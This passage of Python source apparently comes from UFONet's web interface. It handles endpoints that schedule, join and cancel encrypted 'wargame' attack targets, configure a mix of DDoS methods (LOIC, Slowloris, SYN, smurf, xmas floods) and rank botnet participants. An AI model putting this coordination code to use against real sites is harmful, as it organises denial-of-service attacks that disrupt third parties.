  2568. key = key_params.rsplit(sep, 1)[0]
  2569. except:
  2570. key = ""
  2571. if key is not "":
  2572. try:
  2573. self.list_wargames.reverse()
  2574. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  2575. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  2576. f = open(self.wargames_file,"r")
  2577. ls = f.readlines()
  2578. f.close()
  2579. f = open(self.wargames_file,"w")
  2580. sep = "#-#"
  2581. for l in ls:
  2582. job_estimated = l.rsplit(sep, 1)[1]
  2583. self.decrypt(key, job_estimated)
  2584. if self.decryptedtext:
  2585. job_estimated = self.decryptedtext
  2586. else:
  2587. job_estimated = now
  2588. self.decryptedtext = ""
  2589. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  2590. if (now >= job_estimated) == False: # -ONGOING-
  2591. f.write(l)
  2592. f.close()
  2593. except:
  2594. pass
  2595. if page == "/cmd_job_remove_all_update":
  2596. if not os.path.exists('/tmp/out'):
  2597. open('/tmp/out', 'w').close()
  2598. with open('/tmp/out', 'r') as f:
  2599. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  2600. if page == "/cmd_edit_supply":
  2601. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  2602. try:
  2603. supply_botnet = pGet["botnet"]
  2604. supply_loic = pGet["loic"]
  2605. supply_loris = pGet["loris"]
  2606. supply_ufosyn = pGet["ufosyn"]
  2607. supply_spray = pGet["spray"]
  2608. supply_smurf = pGet["smurf"]
  2609. supply_xmas = pGet["xmas"]
  2610. except: # default global supply army
  2611. supply_botnet = 1
  2612. supply_loic = 0
  2613. supply_loris = 0
  2614. supply_ufosyn = 0
  2615. supply_spray = 0
  2616. supply_smurf = 0
  2617. supply_xmas = 0
  2618. with open(self.mothership_supplycfg_file, "w") as f:
  2619. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas}, f, indent=4)
  2620. if page == "/cmd_job_add":
  2621. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  2622. try:
  2623. job_params = pGet["id"]
  2624. sep = ","
  2625. job_id = job_params.rsplit(sep, 1)[0]
  2626. except:
  2627. job_id = ""
  2628. if job_id is not "":
  2629. self.list_wargames.reverse()
  2630. try:
  2631. job_task = self.list_wargames[(int(job_id)-1)]
  2632. f = open(self.wargames_file,"r")
  2633. ls = f.readlines()
  2634. f.close()
  2635. f = open(self.wargames_file,"w")
  2636. sep = "#-#"
  2637. for l in ls:
  2638. if str(l) != str(job_task):
  2639. f.write(l)
  2640. else:
  2641. job_t2 = job_task.rsplit(sep, 1)[0]
  2642. job_creation = job_t2.rsplit(sep, 1)[0]
  2643. job_target = job_t2.rsplit(sep, 1)[1]
  2644. job_estimated = job_task.rsplit(sep, 1)[1]
  2645. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  2646. f.write(l)
  2647. f.close()
  2648. except:
  2649. pass
  2650. if page == "/cmd_job_add_update":
  2651. if not os.path.exists('/tmp/out'):
  2652. open('/tmp/out', 'w').close()
  2653. with open('/tmp/out', 'r') as f:
  2654. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  2655. if page == "/cmd_job_add_all":
  2656. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  2657. try:
  2658. self.list_wargames.reverse()
  2659. f = open(self.wargames_file,"r")
  2660. ls = f.readlines()
  2661. f.close()
  2662. f = open(self.wargames_file,"w")
  2663. sep = "#-#"
  2664. for l in ls:
  2665. job_t2 = l.rsplit(sep, 1)[0]
  2666. job_creation = job_t2.rsplit(sep, 1)[0]
  2667. job_target = job_t2.rsplit(sep, 1)[1]
  2668. job_estimated = l.rsplit(sep, 1)[1]
  2669. if not "!!!" in job_target:
  2670. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated)
  2671. else:
  2672. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  2673. f.write(l)
  2674. f.close()
  2675. except:
  2676. pass
  2677. if page == "/cmd_job_add_all_update":
  2678. if not os.path.exists('/tmp/out'):
  2679. open('/tmp/out', 'w').close()
  2680. with open('/tmp/out', 'r') as f:
  2681. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  2682. if page == "/cmd_job_cancel":
  2683. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  2684. try:
  2685. job_params = pGet["id"]
  2686. sep = ","
  2687. job_id = job_params.rsplit(sep, 1)[0]
  2688. except:
  2689. job_id = ""
  2690. if job_id is not "":
  2691. self.list_wargames.reverse()
  2692. try:
  2693. job_task = self.list_wargames[(int(job_id)-1)]
  2694. f = open(self.wargames_file,"r")
  2695. ls = f.readlines()
  2696. f.close()
  2697. f = open(self.wargames_file,"w")
  2698. for l in ls:
  2699. if str(l) != str(job_task):
  2700. f.write(l)
  2701. else:
  2702. sep = "#-#"
  2703. job_t2 = job_task.rsplit(sep, 1)[0]
  2704. job_creation = job_t2.rsplit(sep, 1)[0]
  2705. job_target = job_t2.rsplit(sep, 1)[1]
  2706. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  2707. job_estimated = job_task.rsplit(sep, 1)[1]
  2708. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  2709. f.write(l)
  2710. f.close()
  2711. except:
  2712. pass
  2713. if page == "/cmd_job_cancel_update":
  2714. if not os.path.exists('/tmp/out'):
  2715. open('/tmp/out', 'w').close()
  2716. with open('/tmp/out', 'r') as f:
  2717. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  2718. if page == "/cmd_job_cancel_all":
  2719. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  2720. try:
  2721. self.list_wargames.reverse()
  2722. f = open(self.wargames_file,"r")
  2723. ls = f.readlines()
  2724. f.close()
  2725. f = open(self.wargames_file,"w")
  2726. sep = "#-#"
  2727. for l in ls:
  2728. job_t2 = l.rsplit(sep, 1)[0]
  2729. job_creation = job_t2.rsplit(sep, 1)[0]
  2730. job_target = job_t2.rsplit(sep, 1)[1]
  2731. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  2732. job_estimated = l.rsplit(sep, 1)[1]
  2733. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  2734. f.write(l)
  2735. f.close()
  2736. except:
  2737. pass
  2738. if page == "/cmd_job_cancel_all_update":
  2739. if not os.path.exists('/tmp/out'):
  2740. open('/tmp/out', 'w').close()
  2741. with open('/tmp/out', 'r') as f:
  2742. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  2743. if page == "/cmd_job_filter":
  2744. try:
  2745. job_filter = pGet["filter"]
  2746. job_key = pGet["key"]
  2747. except:
  2748. job_filter = "creation"
  2749. job_key = str(self.crypto_key)
  2750. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  2751. nodec_text = "KEY?"
  2752. try:
  2753. wargames_items=[]
  2754. f = open(self.wargames_file,"r")
  2755. ls = f.readlines()
  2756. f.close()
  2757. f = open(self.wargames_file,"w")
  2758. for j in ls:
  2759. if wargames_msg_sep in j:
  2760. m = j.split(wargames_msg_sep)
  2761. wargames_creation = m[0] # creation date
  2762. self.decrypt(job_key, wargames_creation)
  2763. if self.decryptedtext:
  2764. wargames_creation = self.decryptedtext
  2765. else:
  2766. wargames_creation = nodec_text
  2767. self.decryptedtext = "" # clean decryptedtext buffer
  2768. wargames_target = m[1] # target
  2769. self.decrypt(job_key, wargames_target)
  2770. if self.decryptedtext:
  2771. wargames_target = self.decryptedtext
  2772. if wargames_target.startswith("www."):
  2773. wargames_target = wargames_target.replace("www.","")
  2774. else:
  2775. wargames_target = nodec_text
  2776. self.decryptedtext = "" # clean decryptedtext buffer
  2777. wargames_estimated = m[2] # estimated date
  2778. self.decrypt(job_key, wargames_estimated)
  2779. if self.decryptedtext:
  2780. wargames_estimated = self.decryptedtext
  2781. else:
  2782. wargames_estimated = nodec_text
  2783. self.decryptedtext = "" # clean decryptedtext buffer
  2784. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  2785. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  2786. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  2787. if job_filter == "creation":
  2788. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  2789. elif job_filter == "target":
  2790. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  2791. elif job_filter == "estimated":
  2792. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  2793. else:
  2794. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  2795. for i in wargames_items:
  2796. wargames_creation = i[0]
  2797. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  2798. self.encrypt(job_key, wargames_creation)
  2799. if self.encryptedtext:
  2800. wargames_creation = self.encryptedtext
  2801. self.encryptedtext = "" # clean encryptedtext buffer
  2802. wargames_target = str(i[1])
  2803. self.encrypt(job_key, wargames_target)
  2804. if self.encryptedtext:
  2805. wargames_target = self.encryptedtext
  2806. self.encryptedtext = "" # clean encryptedtext buffer
  2807. wargames_estimated = i[2]
  2808. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  2809. self.encrypt(job_key, wargames_estimated)
  2810. if self.encryptedtext:
  2811. wargames_estimated = self.encryptedtext
  2812. self.encryptedtext = "" # clean encryptedtext buffer
  2813. l = str(wargames_creation) + "#-#" + str(wargames_target) + "#-#" + str(wargames_estimated)
  2814. f.write(l + os.linesep)
  2815. f.close()
  2816. except:
  2817. pass
  2818. if page == "/cmd_job_filter_update":
  2819. if not os.path.exists('/tmp/out'):
  2820. open('/tmp/out', 'w').close()
  2821. with open('/tmp/out', 'r') as f:
  2822. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  2823. if page == "/cmd_grid_filter":
  2824. try:
  2825. grid_filter = pGet["filter"]
  2826. grid_key = pGet["key"]
  2827. except:
  2828. grid_filter = "missions" # default grid order by
  2829. grid_key = str(self.crypto_key)
  2830. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  2831. nodec_text = "KEY?"
  2832. nodec_num = 0
  2833. try:
  2834. grid_items=[]
  2835. f = open(self.grid_file,"r")
  2836. ls = f.readlines()
  2837. f.close()
  2838. f = open(self.grid_file,"w")
  2839. for j in ls:
  2840. if grid_msg_sep in j:
  2841. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  2842. m = j.split(grid_msg_sep)
  2843. grid_nickname = m[0] # nickname
  2844. self.decrypt(grid_key, grid_nickname)
  2845. if self.decryptedtext:
  2846. grid_nickname = str(self.decryptedtext)
  2847. else:
  2848. grid_nickname = nodec_text
  2849. self.decryptedtext = "" # clean decryptedtext buffer
  2850. grid_ranking = m[1] # ranking
  2851. self.decrypt(grid_key, grid_ranking)
  2852. if self.decryptedtext:
  2853. try:
  2854. grid_ranking = int(self.decryptedtext)
  2855. except:
  2856. grid_ranking = nodec_num
  2857. else:
  2858. grid_ranking = nodec_num
  2859. self.decryptedtext = "" # clean decryptedtext buffer
  2860. grid_totalchargo = m[2] # total chargo
  2861. self.decrypt(grid_key, grid_totalchargo)
  2862. if self.decryptedtext:
  2863. try:
  2864. grid_totalchargo = int(self.decryptedtext)
  2865. except:
  2866. grid_totalchargo = nodec_num
  2867. else:
  2868. grid_totalchargo = nodec_num
  2869. self.decryptedtext = "" # clean decryptedtext buffer
  2870. grid_dorking = m[3] # dorking
  2871. self.decrypt(grid_key, grid_dorking)
  2872. if self.decryptedtext:
  2873. try:
  2874. grid_dorking = int(self.decryptedtext)
  2875. except:
  2876. grid_dorking = nodec_num
  2877. else:
  2878. grid_dorking = nodec_num
  2879. self.decryptedtext = "" # clean decryptedtext buffer
  2880. grid_transferred = m[4] # transferred
  2881. self.decrypt(grid_key, grid_transferred)
  2882. if self.decryptedtext:
  2883. try:
  2884. grid_transferred = int(self.decryptedtext)
  2885. except:
  2886. grid_transferred = nodec_num
  2887. else:
  2888. grid_transferred = nodec_num
  2889. self.decryptedtext = "" # clean decryptedtext buffer
  2890. grid_maxchargo = m[5] # maxchargo
  2891. self.decrypt(grid_key, grid_maxchargo)
  2892. if self.decryptedtext:
  2893. try:
  2894. grid_maxchargo = int(self.decryptedtext)
  2895. except:
  2896. grid_maxchargo = nodec_num
  2897. else:
  2898. grid_maxchargo = nodec_num
  2899. self.decryptedtext = "" # clean decryptedtext buffer
  2900. grid_missions = m[6] # missions
  2901. self.decrypt(grid_key, grid_missions)
  2902. if self.decryptedtext:
  2903. try:
  2904. grid_missions = int(self.decryptedtext)
  2905. except:
  2906. grid_missions = nodec_num
  2907. else:
  2908. grid_missions = nodec_num
  2909. self.decryptedtext = "" # clean decryptedtext buffer
  2910. grid_attacks = m[7] # attacks
  2911. self.decrypt(grid_key, grid_attacks)
  2912. if self.decryptedtext:
  2913. try:
  2914. grid_attacks = int(self.decryptedtext)
  2915. except:
  2916. grid_attacks = nodec_num
  2917. else:
  2918. grid_attacks = nodec_num
  2919. self.decryptedtext = "" # clean decryptedtext buffer
  2920. grid_loic = m[8] # loic
  2921. self.decrypt(grid_key, grid_loic)
  2922. if self.decryptedtext:
  2923. try:
  2924. grid_loic = int(self.decryptedtext)
  2925. except:
  2926. grid_loic = nodec_num
  2927. else:
  2928. grid_loic = nodec_num
  2929. if version > 12: # v1.2
  2930. grid_loris = m[9] # loris
  2931. self.decrypt(grid_key, grid_loris)
  2932. if self.decryptedtext:
  2933. try:
  2934. grid_loris = int(self.decryptedtext)
  2935. except:
  2936. grid_loris = nodec_num
  2937. else:
  2938. grid_loris = nodec_num
  2939. self.decryptedtext = "" # clean decryptedtext buffer
  2940. grid_ufosyn = m[10] # ufosyn
  2941. self.decrypt(grid_key, grid_ufosyn)
  2942. if self.decryptedtext:
  2943. try:
  2944. grid_ufosyn = int(self.decryptedtext)
  2945. except:
  2946. grid_ufosyn = nodec_num
  2947. else:
  2948. grid_ufosyn = nodec_num
  2949. self.decryptedtext = "" # clean decryptedtext buffer
  2950. grid_spray = m[11] # spray
  2951. self.decrypt(grid_key, grid_spray)
  2952. if self.decryptedtext:
  2953. try:
  2954. grid_spray = int(self.decryptedtext)
  2955. except:
  2956. grid_spray = nodec_num
  2957. else:
  2958. grid_spray = nodec_num
  2959. self.decryptedtext = "" # clean decryptedtext buffer
  2960. grid_smurf = m[12] # smurf
  2961. self.decrypt(grid_key, grid_smurf)
  2962. if self.decryptedtext:
  2963. try:
  2964. grid_smurf = int(self.decryptedtext)
  2965. except:
  2966. grid_smurf = nodec_num
  2967. else:
  2968. grid_smurf = nodec_num
  2969. self.decryptedtext = "" # clean decryptedtext buffer
  2970. grid_xmas = m[13] # xmas
  2971. self.decrypt(grid_key, grid_xmas)
  2972. if self.decryptedtext:
  2973. try:
  2974. grid_xmas = int(self.decryptedtext)
  2975. except:
  2976. grid_xmas = nodec_num
  2977. else:
  2978. grid_xmas = nodec_num
  2979. self.decryptedtext = "" # clean decryptedtext buffer
  2980. grid_contact = m[14] # contact
  2981. self.decrypt(grid_key, grid_contact)
  2982. if self.decryptedtext:
  2983. grid_contact = self.decryptedtext
  2984. else:
  2985. grid_contact = nodec_text
  2986. self.decryptedtext = "" # clean decryptedtext buffer
  2987. grid_id = m[15] # id
  2988. if version == 12: # v1.1
  2989. grid_loris = m[9] # loris
  2990. self.decrypt(grid_key, grid_loris)
  2991. if self.decryptedtext:
  2992. try:
  2993. grid_loris = int(self.decryptedtext)
  2994. except:
  2995. grid_loris = nodec_num
  2996. else:
  2997. grid_loris = nodec_num
  2998. self.decryptedtext = "" # clean decryptedtext buffer
  2999. grid_ufosyn = m[10] # ufosyn
  3000. self.decrypt(grid_key, grid_ufosyn)
  3001. if self.decryptedtext:
  3002. try:
  3003. grid_ufosyn = int(self.decryptedtext)
  3004. except:
  3005. grid_ufosyn = nodec_num
  3006. else:
  3007. grid_ufosyn = nodec_num
  3008. self.decryptedtext = "" # clean decryptedtext buffer
  3009. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  3010. self.decrypt(grid_key, grid_spray)
  3011. if self.decryptedtext:
  3012. try:
  3013. grid_spray = int(self.decryptedtext)
  3014. except:
  3015. grid_spray = nodec_num
  3016. else:
  3017. grid_spray = nodec_num
  3018. self.decryptedtext = "" # clean decryptedtext buffer
  3019. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  3020. self.decrypt(grid_key, grid_smurf)
  3021. if self.decryptedtext:
  3022. try:
  3023. grid_smurf = int(self.decryptedtext)
  3024. except:
  3025. grid_smurf = nodec_num
  3026. else:
  3027. grid_smurf = nodec_num
  3028. self.decryptedtext = "" # clean decryptedtext buffer
  3029. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  3030. self.decrypt(grid_key, grid_xmas)
  3031. if self.decryptedtext:
  3032. try:
  3033. grid_xmas = int(self.decryptedtext)
  3034. except:
  3035. grid_xmas = nodec_num
  3036. else:
  3037. grid_xmas = nodec_num
  3038. self.decryptedtext = "" # clean decryptedtext buffer
  3039. grid_contact = m[11] # contact
  3040. self.decrypt(grid_key, grid_contact)
  3041. if self.decryptedtext:
  3042. grid_contact = self.decryptedtext
  3043. else:
  3044. grid_contact = nodec_text
  3045. self.decryptedtext = "" # clean decryptedtext buffer
  3046. grid_id = m[12] # id
  3047. elif version == 11: # v1.0
  3048. grid_loris = m[9] # loris
  3049. self.decrypt(grid_key, grid_loris)
  3050. if self.decryptedtext:
  3051. try:
  3052. grid_loris = int(self.decryptedtext)
  3053. except:
  3054. grid_loris = nodec_num
  3055. else:
  3056. grid_loris = nodec_num
  3057. self.decryptedtext = "" # clean decryptedtext buffer
  3058. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  3059. self.decrypt(grid_key, grid_ufosyn)
  3060. if self.decryptedtext:
  3061. try:
  3062. grid_ufosyn = int(self.decryptedtext)
  3063. except:
  3064. grid_ufosyn = nodec_num
  3065. else:
  3066. grid_ufosyn = nodec_num
  3067. self.decryptedtext = "" # clean decryptedtext buffer
  3068. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  3069. self.decrypt(grid_key, grid_spray)
  3070. if self.decryptedtext:
  3071. try:
  3072. grid_spray = int(self.decryptedtext)
  3073. except:
  3074. grid_spray = nodec_num
  3075. else:
  3076. grid_spray = nodec_num
  3077. self.decryptedtext = "" # clean decryptedtext buffer
  3078. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  3079. self.decrypt(grid_key, grid_smurf)
  3080. if self.decryptedtext:
  3081. try:
  3082. grid_smurf = int(self.decryptedtext)
  3083. except:
  3084. grid_smurf = nodec_num
  3085. else:
  3086. grid_smurf = nodec_num
  3087. self.decryptedtext = "" # clean decryptedtext buffer
  3088. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  3089. self.decrypt(grid_key, grid_xmas)
  3090. if self.decryptedtext:
  3091. try:
  3092. grid_xmas = int(self.decryptedtext)
  3093. except:
  3094. grid_xmas = nodec_num
  3095. else:
  3096. grid_xmas = nodec_num
  3097. self.decryptedtext = "" # clean decryptedtext buffer
  3098. grid_contact = m[10] # contact
  3099. self.decrypt(grid_key, grid_contact)
  3100. if self.decryptedtext:
  3101. grid_contact = self.decryptedtext
  3102. else:
  3103. grid_contact = nodec_text
  3104. self.decryptedtext = "" # clean decryptedtext buffer
  3105. grid_id = m[11] # id
  3106. elif version == 10: # v0.9
  3107. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  3108. self.decrypt(grid_key, grid_loris)
  3109. if self.decryptedtext:
  3110. try:
  3111. grid_loris = int(self.decryptedtext)
  3112. except:
  3113. grid_loris = nodec_num
  3114. else:
  3115. grid_loris = nodec_num
  3116. self.decryptedtext = "" # clean decryptedtext buffer
  3117. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  3118. self.decrypt(grid_key, grid_ufosyn)
  3119. if self.decryptedtext:
  3120. try:
  3121. grid_ufosyn = int(self.decryptedtext)
  3122. except:
  3123. grid_ufosyn = nodec_num
  3124. else:
  3125. grid_ufosyn = nodec_num
  3126. self.decryptedtext = "" # clean decryptedtext buffer
  3127. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  3128. self.decrypt(grid_key, grid_spray)
  3129. if self.decryptedtext:
  3130. try:
  3131. grid_spray = int(self.decryptedtext)
  3132. except:
  3133. grid_spray = nodec_num
  3134. else:
  3135. grid_spray = nodec_num
  3136. self.decryptedtext = "" # clean decryptedtext buffer
  3137. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  3138. self.decrypt(grid_key, grid_smurf)
  3139. if self.decryptedtext:
  3140. try:
  3141. grid_smurf = int(self.decryptedtext)
  3142. except:
  3143. grid_smurf = nodec_num
  3144. else:
  3145. grid_smurf = nodec_num
  3146. self.decryptedtext = "" # clean decryptedtext buffer
  3147. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  3148. self.decrypt(grid_key, grid_xmas)
  3149. if self.decryptedtext:
  3150. try:
  3151. grid_xmas = int(self.decryptedtext)
  3152. except:
  3153. grid_xmas = nodec_num
  3154. else:
  3155. grid_xmas = nodec_num
  3156. self.decryptedtext = "" # clean decryptedtext buffer
  3157. grid_contact = m[9] # contact
  3158. self.decrypt(grid_key, grid_contact)
  3159. if self.decryptedtext:
  3160. grid_contact = self.decryptedtext
  3161. else:
  3162. grid_contact = nodec_text
  3163. self.decryptedtext = "" # clean decryptedtext buffer
  3164. grid_id = m[10] # id
  3165. else: # no valid version
  3166. pass
  3167. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),str(grid_contact),str(grid_id)])
  3168. if grid_filter == "nickname":
  3169. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  3170. elif grid_filter == "ranking":
  3171. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  3172. elif grid_filter == "chargo":
  3173. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  3174. elif grid_filter == "dorking":
  3175. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  3176. elif grid_filter == "transferred":
  3177. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  3178. elif grid_filter == "maxchargo":
  3179. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  3180. elif grid_filter == "missions":
  3181. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  3182. elif grid_filter == "attacks":
  3183. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  3184. elif grid_filter == "loic":
  3185. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  3186. elif grid_filter == "loris":
  3187. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  3188. elif grid_filter == "ufosyn":
  3189. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  3190. elif grid_filter == "spray":
  3191. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  3192. elif grid_filter == "smurf":
  3193. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  3194. elif grid_filter == "xmas":
  3195. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
  3196. elif grid_filter == "contact":
  3197. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by contact
  3198. else:
  3199. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  3200. for i in grid_items:
  3201. grid_nickname = str(i[0])
  3202. self.encrypt(grid_key, grid_nickname)
  3203. if self.encryptedtext:
  3204. grid_nickname = self.encryptedtext
  3205. self.encryptedtext = "" # clean encryptedtext buffer
  3206. grid_ranking = str(i[1])
  3207. self.encrypt(grid_key, grid_ranking)
  3208. if self.encryptedtext:
  3209. grid_ranking = self.encryptedtext
  3210. self.encryptedtext = "" # clean encryptedtext buffer
  3211. grid_totalchargo = str(i[2])
  3212. self.encrypt(grid_key, grid_totalchargo)
  3213. if self.encryptedtext:
  3214. grid_totalchargo = self.encryptedtext
  3215. self.encryptedtext = "" # clean encryptedtext buffer
  3216. grid_dorking = str(i[3])
  3217. self.encrypt(grid_key, grid_dorking)
  3218. if self.encryptedtext:
  3219. grid_dorking = self.encryptedtext
  3220. self.encryptedtext = "" # clean encryptedtext buffer
  3221. grid_transferred = str(i[4])
  3222. self.encrypt(grid_key, grid_transferred)
  3223. if self.encryptedtext:
  3224. grid_transferred = self.encryptedtext
  3225. self.encryptedtext = "" # clean encryptedtext buffer
  3226. grid_maxchargo = str(i[5])
  3227. self.encrypt(grid_key, grid_maxchargo)
  3228. if self.encryptedtext:
  3229. grid_maxchargo = self.encryptedtext
  3230. self.encryptedtext = "" # clean encryptedtext buffer
  3231. grid_missions = str(i[6])
  3232. self.encrypt(grid_key, grid_missions)
  3233. if self.encryptedtext:
  3234. grid_missions = self.encryptedtext
  3235. self.encryptedtext = "" # clean encryptedtext buffer
  3236. grid_attacks = str(i[7])
  3237. self.encrypt(grid_key, grid_attacks)
  3238. if self.encryptedtext:
  3239. grid_attacks = self.encryptedtext
  3240. self.encryptedtext = "" # clean encryptedtext buffer
  3241. grid_loic = str(i[8])
  3242. self.encrypt(grid_key, grid_loic)
  3243. if self.encryptedtext:
  3244. grid_loic = self.encryptedtext
  3245. self.encryptedtext = "" # clean encryptedtext buffer
  3246. grid_loris = str(i[9])
  3247. self.encrypt(grid_key, grid_loris)
  3248. if self.encryptedtext:
  3249. grid_loris = self.encryptedtext
  3250. self.encryptedtext = "" # clean encryptedtext buffer
  3251. grid_ufosyn = str(i[10])
  3252. self.encrypt(grid_key, grid_ufosyn)
  3253. if self.encryptedtext:
  3254. grid_ufosyn = self.encryptedtext
  3255. self.encryptedtext = "" # clean encryptedtext buffer
  3256. grid_spray = str(i[11])
  3257. self.encrypt(grid_key, grid_spray)
  3258. if self.encryptedtext:
  3259. grid_spray = self.encryptedtext
  3260. self.encryptedtext = "" # clean encryptedtext buffer
  3261. grid_smurf = str(i[12])
  3262. self.encrypt(grid_key, grid_smurf)
  3263. if self.encryptedtext:
  3264. grid_smurf = self.encryptedtext
  3265. self.encryptedtext = "" # clean encryptedtext buffer
  3266. grid_xmas = str(i[13])
  3267. self.encrypt(grid_key, grid_xmas)
  3268. if self.encryptedtext:
  3269. grid_xmas = self.encryptedtext
  3270. self.encryptedtext = "" # clean encryptedtext buffer
  3271. grid_contact = str(i[14])
  3272. self.encrypt(grid_key, grid_contact)
  3273. if self.encryptedtext:
  3274. grid_contact = self.encryptedtext
  3275. self.encryptedtext = "" # clean encryptedtext buffer
  3276. grid_id = str(i[15]) # id (plain id)
  3277. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  3278. f.write(l)
  3279. f.close()
  3280. except:
  3281. pass
  3282. if page == "/cmd_grid_filter_update":
  3283. if not os.path.exists('/tmp/out'):
  3284. open('/tmp/out', 'w').close()
  3285. with open('/tmp/out', 'r') as f:
  3286. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  3287. if page == "/cmd_transfer_grid":
  3288. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3289. blackhole_ip = pGet["grid_source"]
  3290. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  3291. try:
  3292. grid_key = pGet["grid_key"]
  3293. except:
  3294. grid_key = ""
  3295. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3296. if grid_key is not "": # stream creation + encryption + package send
  3297. try:
  3298. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  3299. grid_data = json.load(grid_json_file)
  3300. grid_json_file.close()
